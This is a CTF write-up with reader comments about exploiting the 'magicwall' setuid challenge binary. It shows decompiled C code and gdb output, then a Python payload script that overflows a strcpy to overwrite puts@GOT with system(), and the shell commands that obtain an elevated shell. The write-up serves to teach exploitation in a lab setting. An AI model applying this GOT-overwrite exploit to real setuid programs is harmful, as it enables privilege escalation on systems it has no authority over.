Hellman (@hellman1908) already made a very good writeup, I just wanted to share my different method.
Analysis
Connect to the server with:ssh -p 7022 ctf@pirates.fluxfingers.net # pass ctfSCP the magicwall binary, quickly reverse it to obtain the C source code of its main().
The protections here are ASCII-armor (libc mapped in 0x00------) and non executable stack. There is no ASLR.
The program needs 2 arguments, the first one is a string that will be xored with constant 0xdefaced and the second one is the signed sum of every character after the xor operation:
*(_DWORD *)secret = 0xDEFACEDu; if ( argc > 2 ) { len = strlen(argv[1]); givensum = atoi(argv[2]); dest = buf; for ( i = 0; i < len; ++i ) { argv[1][i] ^= secret[i % 4]; if ( !(i & 3) ) sum += argv[1][i]; }Then it uses two insecure strcpy(), the second one being triggered only if you provided the correct sum:
strcpy(dest, argv[1]); if ( givensum == sum ) strcpy(dest, argv[1]);There is an obvious stack overflow here, but it is protected by a Stack Smashing Protector (SSP):
if ( cookie != global_protector ) { puts("This move was absolutely NOT cool!"); kill_all(); }The global_protector being securely initialized, nothing on this side.
main() stack is as follow:
char buf[136]; // [sp+40h] [bp-98h]@3 char *dest; // [sp+C8h] [bp-10h]@3 int cookie; // [sp+CCh] [bp-Ch]@1By using the first strcpy() we can overflow and control dest pointer. Therefore the second strcpy() gives us an arbitrary write. What could be interesting to rewrite?
- return address of main, but we need a 1 byte bruteforce of the cookie as hellman explains it
- return address of the second strcpy, that's what hellman used, very cool
- the address of puts in the GOT
I chose to rewrite the address of puts@GOT by the address of system(). Doing so would give us:
system("This move was absolutely NOT cool!");Then we just need to create a program called This, add the current directory to the PATH, and it will get executed!
Exploitation
Since there is no ASLR, we can quickly get the address of system() with gdb:gdb$ p &system $1 = (<text variable, no debug info> *) 0x001672a0 <system>Our payload could be:
address of system + PADDING + rewrite DEST with address of puts@GOTHowever the address of system() is ASCII-armored so the 0x00 will break the strcpy(). No problem, we can just put it at the end and move back the strcpy:
PADDING + (rewrite DEST with address of puts@GOT -136 -4) + address of systemIt will write the address of system() exactly where we want: in puts@GOT.
We also need a small wrapper for our payload to pass the xor and also to compute the signed sum:
#!/usr/bin/env python from sys import argv from struct import pack,unpack def xor(a,b): return "".join(chr(ord(a[i])^ord(b[i%len(b)])) for i in range(len(a))) # puts@GOT system@libc a = "A"*136 + pack("<I",0x80499d0-136-4) + pack("<I",0x001672a0) if len(argv)>1: print sum(unpack("<b",a[i])[0] for i in range(len(a)) if i%4==0) else: print xor(a, pack("<I",0xdefaced))Calling with one arg returns the payload, calling with two args returns the signed sum. Script is available here.
And here we go:
ctf:~$ echo -ne '#!/bin/sh\n/bin/sh' > This ; chmod a+x This ctf:~$ PATH=".:$PATH" ~/magicwall "$(python p.py)" "$(python p.py s)" $ id uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf)
cool :)
ReplyDelete> PADDING + (rewrite DEST with address of puts@GOT -136 -4) + address of system
ReplyDeletereally nice & tricky ;)
you've opened my eyes
Hi,
ReplyDeletegreat writeup, very interesting to read.
How you were able to get the source of the file,
this looks not like decompilated code from the binary. You just say "quickly reverse it", but I see now quick way :)
Thanks!
ReplyDeleteSoftwares such as Hex-Rays plugin for IDA Pro can decompile from disassembly. Then, you rename and change the type of a few functions and variables, and your result can be close to the original source code.